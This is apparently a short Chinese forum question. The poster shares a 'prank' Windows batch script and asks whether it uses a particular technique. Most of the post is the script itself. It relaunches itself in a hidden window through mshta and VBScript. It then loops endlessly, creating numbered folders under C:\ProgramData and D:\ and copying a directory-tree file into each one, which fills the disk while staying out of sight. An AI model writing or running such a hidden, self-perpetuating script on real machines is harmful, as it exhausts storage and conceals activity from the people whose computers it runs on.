这里有个恶作剧代码用到了这个,你看看是不是:
@echo off
title ezj无窗口
%1 mshta vbscript:CreateObject("WScript.Shell").Run("%~s0 ::",0,FALSE)(window.close)&&exit
set n=1
:main
tree >ezj.txt
md "C:\ProgramData\%n%"
md "D:\%n%"
copy ezj.txt "C:\ProgramData\%n%"
copy ezj.txt "D:\%n%"
set /a n=n+1
goto main